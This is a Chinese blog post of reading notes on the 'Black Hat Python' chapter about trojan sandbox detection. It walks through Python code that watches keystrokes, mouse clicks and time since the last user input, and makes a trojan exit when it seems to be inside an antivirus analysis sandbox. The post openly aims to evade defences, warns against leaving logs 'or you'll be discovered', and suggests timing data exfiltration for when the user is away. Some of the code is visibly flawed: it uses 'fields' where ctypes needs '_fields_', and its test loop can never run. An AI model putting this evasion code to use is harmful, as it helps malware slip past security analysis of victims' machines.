黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(4)沙箱检测

黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(4)沙箱检测



写在前面

防病毒解决方案越来越多地采用某种形式的沙箱来确定可疑样本的行为。无论这个沙箱是在越来越流行的网络周界上运行,还是在目标机器本身上运行,我们都必须尽力避免向目标网络上的任何防御措施倾斜。
我们可以使用一些指标来确定特洛伊木马是否在沙箱中执行。我们将监视目标机器以获取最近的用户输入。然后我们将添加一些基本的智能来查找击键、鼠标点击和双击。典型的机器在启动的一天有许多用户交互,而沙箱环境通常没有用户交互,因为沙箱通常用作自动恶意软件分析技术。我们的脚本还将尝试确定沙箱操作符是否重复发送输入(例如,可疑的、快速的连续鼠标点击),以便尝试响应基本的沙箱检测方法。最后,我们将比较用户最后一次与机器交互的时间与机器运行的时间,这将让我们很好地了解我们是否在沙箱中。然后,我们可以决定是否继续执行木马程序。

构建sandbox_detect.py脚本

接下来让我们开始研究一些沙箱检测代码。创建并打开sandbox_detect.py脚本,并输入以下代码:

from ctypes import byref, c_uint, c_ulong, sizeof, Structure, windll
import random
import sys
import time
import win32api

class LASTINPUTINFO(Structure):
    fields = [
        ('cbSize', c_uint),
        ('dwTime', c_ulong)
    ]

def get_last_input():
    struct_lastinputinfo = LASTINPUTINFO()
    struct_lastinputinfo.cbSize = sizeof(LASTINPUTINFO)
    windll.user32.GetLastInputInfo(byref(struct_lastinputinfo))
    run_time = windll.kernel32.GetTickCount()
    elapsed = run_time - struct_lastinputinfo.dwTime
    print(f"[*] It's been {elapsed} milliseconds since last event.")
    return elapsed

    while True:
        get_last_input()
        time.sleep(1)

我们定义了必要的导入,并创建了一个LASTINPUTINFO结构,它将保存系统上检测到最后一个输入事件的时间戳(以毫秒为单位)。接下来,我们创建一个函数get_last_input,以确定最后一次输入。请注意,在进行调用之前,必须将cbSize变量初始化为结构的大小。然后我们调用GetLastInputInfo函数,它通过时间戳填充struct_lastputinfo.dwTime字段。下一步是使用GetTickCount函数调用确定系统运行了多长时间。经过的时间是机器运行的时间减去上次输入的时间。最后一小段代码是简单的测试代码,它允许我们运行脚本,然后移动鼠标,或者在键盘上点击一个键,然后查看这段新代码的实际效果。

构建Detector类

值得注意的是,运行系统的总时间和上次检测到的用户输入事件可能会因我们的特定植入方法而异。例如,如果我们使用网络钓鱼策略植入了我们的有效载荷,很可能用户必须点击链接或执行其他操作才能被感染。这意味着在最后一两分钟内我们才会看到用户输入。但是,如果我们看到机器已经运行了10分钟,并且最后一次检测到的输入是10分钟前,那么我们可能在一个尚未处理任何用户输入的沙箱中。这些判断调用都是一个良好的特洛伊木马程序的一部分。
当轮询系统以查看用户是否空闲时,我们可以使用相同的技术,因为我们可能只想在用户积极使用机器时开始截屏。同样,当用户看起来离线时,我们可能只想传输数据或执行其他任务。例如,我们还可以随着时间跟踪用户,以确定他们通常在线的日期和时间。
记住这一点,接下来我们定义三个阈值,在决定我们不再处于沙箱中之前,我们必须检测这些用户的输入值。删除最后三行测试代码,并添加一些额外的代码来查看击键和鼠标点击。这次我们将使用纯ctypes解决方案,而不是PyWinHook方法。当然我们也可以轻松地将PyWinHook用于此目的,但工具箱中有几个不同的技巧总是有帮助的,因为每种防病毒和沙箱的技术都有自己的方法来发现这些技巧。现在我们开始编码:

class Detector:
    def __init__(self):
        self.double_clicks = 0
        self.keystrokes = 0
        self.mouse_clicks = 0
    
    def get_key_press(self):
        for i in range(0, 0xff):
            state = win32api.GetAsyncKeyState(i)
            if state & 0x0001:
                if i == 0x1:
                    self.mouse_clicks += 1
                    return time.time()
                elif i > 32 and i < 127:
                    self.keystrokes += 1
        return None

我们创建了一个Detector类,并将点击和按键计数初始化为零。get_key_press方法告诉我们鼠标点击的次数、鼠标点击的时间以及目标发出的击键次数。这通过在有效输入键的范围内迭代来实现;对于每个键,我们使用GetAsyncKeyState函数调用检查它是否被按下。如果键的状态显示它被按下(state & 0x0001为真),我们检查其值是否为0x1,这是鼠标左键点击的虚拟键代码。我们增加鼠标点击的总次数并返回当前时间戳,以便稍后执行计时计算。我们还检查键盘上是否有ASCII按键,如果有,只需增加检测到的按键总数。

添加detect方法

现在,我们将这些函数的结果合并到我们的主沙箱检测循环中,将以下方法添加到sandbox_detect.py:

    def detect(self):
        previous_timestamp = None
        first_double_click = None
        doubule_click_threshold = 0.35

        max_double_clicks = 10
        max_keystrokes = random.randint(10, 25)
        max_mouse_clicks = random.randint(5, 25)
        max_input_threshold = 30000

        last_input = get_last_input()
        if last_input >= max_input_threshold:
            sys.exit(0)
        
        detection_complete = False
        while not detection_complete:
            keypress_time = self.get_key_press()
            if keypress_time is not None and previous_timestamp is not None:
                elapsed = keypress_time - previous_timestamp

                if elapsed <= doubule_click_threshold:
                    self.mouse_clicks -= 2
                    self.double_clicks += 1
                    if first_double_click is None:
                        first_double_click = time.time()
                    else:
                        if self.double_clicks >= max_double_clicks:
                            if (keypress_time - first_double_click <= (max_double_clicks*doubule_click_threshold)):
                                sys.exit(0)
                if (self.keystrokes >= max_keystrokes and self.double_clicks >= max_double_clicks and self.mouse_clicks >= max_mouse_clicks):
                    detection_complete = True
                
                previous_timestamp = keypress_time
            elif keypress_time is not None:
                previous_timestamp = keypress_time
        
if __name__ == '__main__':
    d = Detector()
    d.detect()
    print('okay.')

注意这些代码块中的缩进!我们首先定义一些变量来跟踪鼠标点击的时间,以及三个阈值,这三个阈值用来确定我们在考虑自己在沙箱之外运行之前,有多少次击键、鼠标点击或双击是我们期望的。我们在每次运行时随机化这些阈值,但当然可以根据自己的测试设置自己的阈值。
然后,我们检索自某种形式的用户输入在系统上注册以来所经过的时间,如果我们觉得已经很久没有看到输入了(根据前面提到的感染发生的方式),我们就会退出,木马就会死亡。特洛伊木马不会在这里死亡,它可以执行一些无害的活动,例如读取随机注册表项或检查文件。在我们通过这个初始检查之后,我们继续进行主要的击键和鼠标点击检测循环。
我们首先检查按键或鼠标点击,如果函数返回一个值,则是按键或鼠标单击发生的时间戳。接下来,我们计算鼠标点击之间的时间间隔,然后将其与阈值进行比较,以确定是否是双击。除了双击检测之外,我们还想看看沙箱操作者是否将点击事件流式传输到沙沙箱中,以尝试伪造沙箱检测技术。例如,在典型的计算机使用过程中,看到连续100次双击是相当奇怪的。如果已经达到了双击的最大次数,并且它们快速连续发生,我们就会退出。我们的最后一步是看看我们是否通过了所有检查,并达到了点击、按键和双击的最大次数;如果是这样,我们就突破了沙箱检测功能。

小试牛刀

这里我们加入了一些打印日志,以便能够看的更加清楚。
说明:实际实践过程中最好不要打印这些日志,否则就被别人发现了。
运行效果如下。
在这里插入图片描述

写在后面

我们鼓励调整和使用设置,以及添加其他功能,如虚拟机检测。追踪拥有的几台电脑(我们指的是实际拥有的电脑,而不是被黑客入侵的电脑)的鼠标点击、双击和按键的典型使用情况,看看目标的兴趣点在哪里。根据我们监控的目标,我们可能需要更多的偏执设置,或者我们可能根本不关心沙箱检测。
使用我们在本章中开发的工具可以作为在特洛伊木马中推出的基本功能层,并且由于我们的特洛伊框架的模块化,我们可以选择部署其中的任何一个。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值